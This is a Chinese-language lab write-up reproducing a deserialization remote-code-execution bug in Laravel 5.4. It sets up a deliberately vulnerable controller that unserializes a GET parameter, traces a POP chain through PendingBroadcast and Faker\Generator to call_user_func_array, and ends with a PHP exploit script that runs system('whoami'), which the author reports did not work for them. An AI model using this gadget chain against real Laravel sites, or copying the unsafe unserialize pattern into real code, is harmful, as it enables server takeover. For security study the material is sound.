laravel-5.4-序列化导致rce

复现过程

laravel安装包下载地址

找ai问怎么搭建Laravel环境即可

/routes/web.php 文件中添加一条路由,原先的路由注释

1
Route::get("/","\App\Http\Controllers\POPController@test");

然后在/app/Http/Controllers/下添加 POPController 控制器函数名要和路由里写的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace App\Http\Controllers;

class POPController extends Controller{
public function test(){
if(isset($_GET['test'])){
unserialize($_GET['test']);
}
else{
echo "Welcome!";
}
}
}

访问页面看到 welcome 即配置正确

寻找POP链

一般pop链都是从__destruct()或者__wakeup()开始

在phpstorm里按两下shift寻找

找到后发现

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

参数events和event可控

看到这里,我们分析出有两种思路,一个是去控制任意类的dispatch方法,另一个是去寻找类中存在__call方法并且没有dispatch()方法(这样才能触发call方法)

1
__call() //在对象上下文中调用不可访问的方法时触发,注意是有参数的。第一个为调用的方法名字,第二个是调用的方法的参数。

我们先利用第二种思路,去寻找__call方法,在Faker\Generator类中发现可以利用。(Yii也是)

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

找到__call方法后,ctrl+左键跟进format()方法

发现有一个call_user_func_array()函数,就是我们利用的地方。

1
call_user_func_array 是 PHP 的一个内建函数,用于调用一个回调函数,并将数组中的参数传递给该回调函数。这个函数常用于在不知道具体调用哪个函数或者函数参数数量不确定的情况下,动态地调用函数。

发现call_user_func_array()函数的第一个参数是getFormatter()里面的返回值,我们跟进getFormatter()函数

可以发现$this->formatters[$formatter]我们可以控制,然后直接return,后面的代码就没必要看了

现在梳理一下利用链

  1. 首先,我们分析到的信息有,PendingBroadcast.php__destruct()方法中的events和event参数可控,其次找到了Generator.php中的__call()方法不含dispatch()方法,因此可以触发成功,同时也可以通过call方法的getFormatter类,控制$this->formatters[$formatter]为我们控制的函数如system而参数就是PendingBroadcast类的$this->eventwhoami

  2. 但是PendingBroadcast和Generator分别是两个类,我们需要一个连接他俩的桥梁,因此我们可以控制参数$this->events让其等于new Generator(),这样就变成了$this->new Generator()->dispatch($this->event);这样Generator类调用了一个其类在不存在的方法dispatch()就会触发__call方法,而__call方法的两个参数分别是方法名字方法的参数

  3. 我们再分析一下参数是如何传递的:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    首先利用点是$this->events->dispatch($this->event);
    我们要传入events=new Generator(),于是就变成
    $this->new Generator()->dispatch($this->event);
    会触发__call方法,而dispatch方法名和$this->event会作为参数传入__call方法
    此时__call方法return $this->format('‘'dispatch', $this->event);传入format方法
    此时format方法返回值是return call_user_func_array($this->getFormatter('dispatch'), $this->event);
    而传入getFormatter方法返回的是return $this->formatters['dispatch'];
    因为formatters参数是一个数组,倘若我把formatters键(dispatch)的值改为一个恶意函数如system是不是就可以任意命令执行了
    此时call_user_func_array()函数会把返回的system当作一个回调函数(就是函数变成参数传递)
    于是call_user_func_array('system','whoami');就可以成功命令执行

    至此,一条POP链的逻辑就此构成

我们编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}

namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($fun)
{
$this -> formatters = ["dispatch" => $fun];
}

}
}

namespace {
$a = new Faker\Generator("system");
$b = new Illuminate\Broadcasting\PendingBroadcast($a,"whoami");
echo urlencode(serialize($b));
}

不过不知道什么原因没有打通

给张图吧

打完差不多就是这样